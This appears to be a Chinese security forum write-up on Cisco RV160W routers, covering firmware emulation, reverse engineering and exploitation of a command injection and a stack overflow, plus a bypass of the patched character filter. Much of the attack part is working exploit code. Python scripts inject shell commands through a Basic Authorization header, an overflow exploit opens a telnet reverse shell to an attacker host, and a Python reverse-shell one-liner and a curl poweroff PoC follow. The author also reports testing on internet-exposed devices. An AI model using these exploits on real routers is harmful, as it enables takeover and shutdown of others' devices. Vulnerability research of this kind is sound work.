其他
Cisco RV160W系列路由器漏洞:从1day分析到0day挖掘
看雪论坛作者ID:b0ldfrev
1
固件初步分析
b0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ grep -Rnl "configurationManagement" * 2>/dev/null
usr/sbin/admin.cgi
usr/lib/opkg/info/sbr-gui.list
www/gettingStarted.htm
www/configurationManagement.htm
www/app.min20200813.js
www/home.htm
b0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ grep -Rnl "admin.cgi" * 2>/dev/null
usr/sbin/mini_httpd
usr/sbin/admin.cgi
usr/lib/opkg/info/sbr-gui.list
b0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ file ./usr/sbin/mini_httpd
./usr/sbin/mini_httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.16, stripped
2
固件模拟
root@debian-armhf:~/rootfs# ls
bin etc media overlay rom sbin test_scripts usr www
dev lib mnt proc root sys tmp var
root@debian-armhf:~/rootfs# mount -t proc /proc/ ./proc/
root@debian-armhf:~/rootfs# mount -t devtmpfs /dev/ ./dev/
root@debian-armhf:~/rootfs# chroot . ./bin/sh
BusyBox v1.23.2 (2020-08-17 10:59:42 IST) built-in shell (ash)
/ #
b0ldfrev@ubuntu:~/cve/RV160W/rootfs$ grep -Rnl "mini_httpd" * 2>/dev/null
etc/scripts/mini_httpd/mini_httpd.sh
etc/rc.d/S23mini_httpd.init
etc/init.d/mini_httpd.init
etc/init.d/config_update.sh
usr/sbin/mini_httpd
usr/sbin/admin.cgi
usr/lib/opkg/info/sbr-gui.list
#!/bin/sh /etc/rc.common
START=23
version_gt() {
test "$(echo "$@" | tr " " "\n" | sort -n | head -n 1)" != "$1";
}
get_version() {
version=`cat $1 | grep "\"VERSION\"" | awk -F '"' '{print $4}'`
if [[ "${version/V/}" != "$version" ]]; then
version=`echo $version | awk -F 'V' '{print $2}'`
fi
echo $version
}
start() {
fwLgPath="/www/lang"
mntLgPath="/mnt/packages/languages"
mkdir -p /tmp/download
mkdir -p /tmp/download
mkdir -p /tmp/download/certificate
mkdir -p /tmp/download/log
mkdir -p /tmp/download/configuration
mkdir -p /tmp/www
mkdir -p /tmp/portal_img
if [ ! -d /mnt/packages/languages ]; then
mkdir -p /mnt/packages/languages
cp -rf ${fwLgPath}/* ${mntLgPath}
else
# check version
list="English Spanish Frensh German Itailian"
for i in $list; do
if [ -f ${fwLgPath}/${i}.js ]; then
if [ -f ${mntLgPath}/${i}.js ]; then
tmp_version=`cat ${mntLgPath}/${i}.js | grep "\"VERSION\"" | awk -F '"' '{print $4}'`
fw_version=$(get_version ${fwLgPath}/${i}.js)
mnt_version=$(get_version ${mntLgPath}/${i}.js)
if [[ "${tmp_version/V/}" != "$tmp_version" ]]; then
cp -f ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js
elif ! version_gt $mnt_version $fw_version; then
cp -f ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js
fi
else
cp ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js
fi
fi
done
fi
/etc/scripts/mini_httpd/mini_httpd.sh start
}
stop() {
/etc/scripts/mini_httpd/mini_httpd.sh stop
}
reload() {
/etc/scripts/mini_httpd/mini_httpd.sh reload
}
/ # /etc/init.d/mini_httpd.init
uci: Entry not found
Syntax: /etc/init.d/mini_httpd.init [command]
Available commands:
start Start the service
stop Stop the service
restart Restart the service
reload Reload configuration files (or restart if that fails)
enable Enable service autostart
disable Disable service autostart
/ # /etc/init.d/mini_httpd.init start
uci: Entry not found
ls: /mnt/configcert/confd/startup/: No such file or directory
use backup cert for mini-httpd ...
1 0 0 0
setsockopt SO_REUSEADDR: Protocol not available
setsockopt SO_REUSEADDR: Protocol not available
/usr/sbin/mini_httpd: can't bind to any address
/ #
/ # /usr/sbin/mini_httpd
setsockopt SO_REUSEADDR: Protocol not available
setsockopt SO_REUSEADDR: Protocol not available
/usr/sbin/mini_httpd: can't bind to any address
/*arm-linux-gnueabi-gcc -shared -fPIC hook.c -o hook */
#include <stdio.h>
#include <stdlib.h>
#include<sys/socket.h>
int setsockopt(int sockfd, int level, int optname,
const void *optval, socklen_t optlen)
{
return 1;
}
BusyBox v1.23.2 (2020-08-17 10:59:42 IST) built-in shell (ash)
/ # LD_PRELOAD="/hook" ./usr/sbin/mini_httpd
bind: Address already in use
/ # ./usr/sbin/mini_httpd: started as root without requesting chroot(), warning only
/ # ps |grep mini_httpd
2364 root 3540 S ./usr/sbin/mini_httpd
2369 root 3120 S grep mini_httpd
3
固件逆向分析与调试
命令注入漏洞分析
vuln_back2
vuln_back1
vuln
GET /download/dniapi/ HTTP/1.1
Authorization: Basic xxxxxxxxxxxxxxxxxxxxxxxxx
Command Inject EXP
# affect firmware version <1.0.01.02
import requests
import sys
import base64
import urllib3
if len(sys.argv)!=3:
print "Parameter error. python exp.py url \"command\""
exit(0)
url = sys.argv[1]
cmd = sys.argv[2]
CMD=";"+cmd+";"
CMD=base64.b64encode(CMD)
header = {'Authorization':"Basic "+CMD}
urllib3.disable_warnings()
if url[-1:]=='/':
url=url[:-1]
r = requests.get(url+"/download/dniapi/", headers=header,verify=False)
print "DONE!"
栈溢出漏洞分析
import requests
import urllib3
import sys
url = sys.argv[1]
if url[-1:]=='/':
url=url[:-1]
cmd="aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac"
payload = "sessionID="+cmd
urllib3.disable_warnings()
url= url+"/help"
head= {'Cookie':payload}
r=requests.get(url,headers=head,verify=False)
print(r)
print(r.text)
print(r.content)
import requests
import urllib3
import sys
url = sys.argv[1]
if url[-1:]=='/':
url=url[:-1]
payload = "sessionID=1234".ljust(268,"a")+"bbb"
urllib3.disable_warnings()
url= url+"/help"
head= {'Cookie':payload}
r=requests.get(url,headers=head,verify=False)
print(r)
print(r.text)
print(r.content)
Stack Overflow EXP
# affect firmware version <1.0.01.02
import requests
import urllib3
import sys
if len(sys.argv)!=5:
print "Parameter error. python exp.py url reverse_shell_host input_port output_port"
exit(0)
url = sys.argv[1]
reverse_shell_host = sys.argv[2]
input_port= sys.argv[3]
output_port= sys.argv[4]
if url[-1:]=='/':
url=url[:-1]
cmd="telnet "+reverse_shell_host+" "+input_port+" | /bin/sh | telnet "+reverse_shell_host+" "+output_port
cmd2=cmd.replace(' ',"${IFS}")
payload = ("sessionID="+cmd2+";").ljust(268,"a")
payload += "\x1c\xb1\x01"
urllib3.disable_warnings()
url= url+"/help"
head= {'Cookie':payload}
r=requests.post(url,headers=head,verify=False)
print(r)
print(r.text)
print(r.content)
4
本地测试
python exp.py http://192.168.122.12 "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.122.11\",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
5
真实设备测试
6
收获0day
一开始我补丁比较的时候就发现,v1.0.01.02固件在sprintf之前加入了字符过滤函数。
_BYTE *__fastcall filer(_BYTE *output, _BYTE *input, int a3_1024)
{
_BYTE *v3; // r3
_BYTE *v4; // r3
_BYTE *v5; // r3
_BYTE *v6; // r3
_BYTE *v7; // r3
_BYTE *v8; // r2
int v9; // [sp+10h] [bp-14h]
_BYTE *v10; // [sp+14h] [bp-10h]
int v12; // [sp+1Ch] [bp-8h]
int v13; // [sp+1Ch] [bp-8h]
int v14; // [sp+1Ch] [bp-8h]
v12 = 0;
v9 = a3_1024 - 1;
v10 = output;
while ( *input )
{
if ( *input == '~'
|| *input == '`'
|| *input == '#'
|| *input == '$'
|| *input == '&'
|| *input == '*'
|| *input == '('
|| *input == ')'
|| *input == '|'
|| *input == '['
|| *input == ']'
|| *input == '{'
|| *input == '}'
|| *input == ';'
|| *input == '\''
|| *input == '"'
|| *input == '<'
|| *input == '>'
|| *input == '/'
|| *input == '?'
|| *input == '!'
|| *input == ' '
|| *input == '='
|| *input == '\t' )
{
v3 = v10++;
*v3 = '\\';
if ( ++v12 >= v9 )
break;
}
else if ( *input == '\\' )
{
v4 = v10++;
*v4 = '\\';
v13 = v12 + 1;
if ( v13 >= v9 )
break;
v5 = v10++;
*v5 = '\\';
v14 = v13 + 1;
if ( v14 >= v9 )
break;
v6 = v10++;
*v6 = '\\';
v12 = v14 + 1;
if ( v12 >= v9 )
break;
}
v7 = v10++;
v8 = input++;
*v7 = *v8;
if ( ++v12 >= v9 )
break;
}
*v10 = 0;
return output;
}
EXP
# affect firmware version <1.0.01.04
import requests
import sys
import base64
import urllib3
if len(sys.argv)!=3:
print "Parameter error. python exp.py url \"command with no parameters\""
exit(0)
url = sys.argv[1]
cmd = sys.argv[2]
CMD="\n"+cmd+"\n"
CMD=base64.b64encode(CMD)
header = {'Authorization':"Basic "+CMD}
urllib3.disable_warnings()
if url[-1:]=='/':
url=url[:-1]
r = requests.get(url+"/download/dniapi/", headers=header,verify=False)
print "DONE!"
测试
但经1day打进去的公网设备验证发现,该系列路由器里没有配置用户密码。
下面只尝试poweroff的命令注入(效果最直观明显)。POC如下:
curl -i -s -k -X $'GET' \
-H $'Host: 127.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Cookie: local_lang=%22English%22; ru=0' -H $'Authorization: Basic CnBvd2Vyb2ZmCg==' -H $'Upgrade-Insecure-Requests: 1' -H $'If-Modified-Since: Wed, 07 Apr 2021 11:28:48 GMT' -H $'Cache-Control: max-age=0' \
-b $'local_lang=%22English%22; ru=0' \
$'https://127.0.0.1/download/dniapi/'
7
Notices
看雪ID:b0ldfrev
https://bbs.pediy.com/user-home-793907.htm
# 往期推荐
1. 从SSL库的内存漫游开发dump自定义客户端证书的通杀脚本
5. 基于Mono注入保存Draw & Guess历史房间数据
6. 一个方案:家用路由器D-LINK DIR-81漏洞挖掘实例分析
球分享
球点赞
球在看
点击“阅读原文”,了解更多!